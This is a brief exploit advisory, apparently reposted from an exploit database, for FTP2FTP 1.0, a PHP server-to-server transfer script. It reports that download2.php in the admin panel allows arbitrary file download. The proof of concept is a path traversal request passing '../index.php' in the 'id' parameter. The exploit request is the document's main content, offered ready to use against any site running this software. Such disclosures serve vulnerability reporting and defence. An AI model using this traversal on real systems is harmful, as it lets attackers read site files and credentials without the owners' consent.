# Exploit Title: FTP2FTP 1.0 – Arbitrary File Download
# Dork: N/A
# Date: 18.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The “download2.php” is vulnerable in the admin panel.
The attacker can download and read all files known by the name via ‘id’ parameter.
====================================================
# Vuln file : /FTP2FTP/download2.php
#Exploit: [su_quote]http://sitenet/FTP2FTP/download2.php?id=../index.php[/su_quote]
Please follow and like us:
